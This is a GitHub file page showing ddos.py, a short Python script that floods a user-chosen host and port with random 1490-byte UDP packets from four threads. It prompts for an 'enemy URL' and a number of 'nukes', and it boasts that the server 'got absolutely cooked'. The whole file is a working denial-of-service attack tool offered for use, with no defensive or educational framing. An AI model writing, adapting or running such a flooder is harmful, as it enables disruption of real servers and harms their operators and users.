-
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathddos.py
More file actions
69 lines (55 loc) · 1.87 KB
/
Copy pathddos.py
File metadata and controls
69 lines (55 loc) · 1.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import os
import threading
import socket
from urllib.parse import urlparse
def clear_screen():
os.system('cls' if os.name == 'nt' else 'clear')
clear_screen()
print("""
**********************
* X_X *
* Made by Mystic-poop*
* *
* *
* *
**********************
""")
url = input("Write your enemy URL (with http:// or https://): ")
parsed_url = urlparse(url)
gonnacooked = parsed_url.hostname
whichport = int(input("Which port do you want to attack? "))
amountofnukes = int(input("How many nukes to send? "))
ip = socket.gethostbyname(gonnacooked)
target = (ip, whichport)
def nukinrn():
clear_screen()
print(f"[+] Target: {target[0]}:{target[1]}")
print(f"[+] Nukes Ready: {amountofnukes}")
print("-" * 40)
nukinrn()
total_nukes_sent = 0
lock = threading.Lock()
def start_attack(nukes_to_send):
global total_nukes_sent
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Individual socket per thread
bytes = os.urandom(1490)
nukes_sent = 0
while nukes_sent < nukes_to_send:
sock.sendto(bytes, target)
nukes_sent += 1
with lock:
total_nukes_sent += 1
if total_nukes_sent % 50 == 0:
print(f"\rNukes Sent: {total_nukes_sent}/{amountofnukes}", end='', flush=True)
num_threads = 4
per_thread, remainder = divmod(amountofnukes, num_threads)
threads = []
for i in range(num_threads):
thread_nukes = per_thread + 1 if i < remainder else per_thread
t = threading.Thread(target=start_attack, args=(thread_nukes,))
threads.append(t)
t.start()
for t in threads:
t.join()
print(f"\nTotal nukes delivered: {total_nukes_sent}")
print("Server just got absolutely cooked💀")